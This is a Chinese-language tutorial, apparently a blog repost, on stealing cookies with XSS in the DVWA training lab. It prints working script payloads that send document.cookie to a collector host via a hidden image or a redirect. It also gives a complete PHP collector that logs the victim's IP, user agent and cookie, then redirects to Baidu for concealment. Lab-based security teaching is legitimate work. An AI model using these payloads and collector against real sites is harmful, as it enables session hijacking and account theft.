1. 程式人生 > >XSS跨站指令碼攻擊入門例項--DVWA

XSS跨站指令碼攻擊入門例項--DVWA

一、竊取Cookie 

     對於跨站的攻擊方法,使用最多的莫過於cookie竊取了,獲取cookie後直接藉助“Live http headers、Tamper Data、Gressmonkey (Cookie injector)、Fiddler”等等工具將cookie修改為獲取的cookie,這樣即可獲得許可權。成功還有必要因素(同源策略+瀏覽器+form標籤表單)

圖一 

head程式碼模組中寫入:發send(其實是跳轉,轉移cookie)

<script>document.write('<img src="http://localhost/test.php?cookie='+document.cookie+'" width=0 height=0 border=0 />');</script>

或者

<script>document.location = 'http://localhost/test.php?cookie=' + document.cookie;</script>

以上兩個均可達到同等效果,但就隱蔽性而言,前者的隱蔽性會更強些,讀 者可自行選擇,當然也有其它語句可達到一樣的目的,就看你如何發揮了。

圖二

        這裡我把指令碼放在Bt5上,Bt5地址:192.168.0.5。測試機XP:192.168.0.103     XP機登陸DVWA環境

        接下來我們來編寫上面的Accept_cookie.php(收cookie)檔案,它主要用於獲取對方的cookie, 其原始碼如下:

<?php

$cookie = $_GET['cookie']; //以GET方式獲取cookie變數值
$ip = getenv ('REMOTE_ADDR'); //遠端主機IP地址
$time=date('Y-m-d g:i:s'); //以“年-月-日 時:分:秒”的格式顯示時間
$referer=getenv ('HTTP_REFERER'); //連結來源
$agent = $_SERVER['HTTP_USER_AGENT']; //使用者瀏覽器型別

$fp = fopen('cookie.txt', 'a'); //開啟cookie.txt,若不存在則建立它
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n"); //寫入檔案
fclose($fp); //關閉檔案

header("Location: http://www.baidu.com"); //將網頁重定向到百度,增強隱蔽性

?>

檔案所處目錄:

1、執行圖二,在框中輸入<script>document.write('<img src="http://192.168.0.5/Accept_cookie.php?cookie='+document.cookie+'"width=0 height=0 border=0 />');alert(/XSS/)</script> 

2、點選Submit。

3、在Bt5下檢視結果http://localhost/cookie.txt。cookiet位於Accept_cookie.php同目錄下。看看cookie.txt 檔案是否被建立並寫入資料,結果如圖3所示:

很明顯,我們已經成功竊取到cookie了,剩下的事相信大家都知道。。。

cookie.txt沒有Referer的幾點原因:

1.1地址前沒有加入“http://”跳轉           1.2‘+document.cookie+’ 中沒有加“++”號

1.3 unicode編碼加解密過程編碼差異     1.4Accep_cookie.php 字尾點前面多出一空格

深入一點可以在http://192.168.0.5/dvwa/vulnerabilities/xss_s/ 頁面進行以上操作。儲存型XSS...

舉個例子說明:DVWA-XSS漏洞利用竊取cookie:http://www.2cto.com/Article/201110/108697.html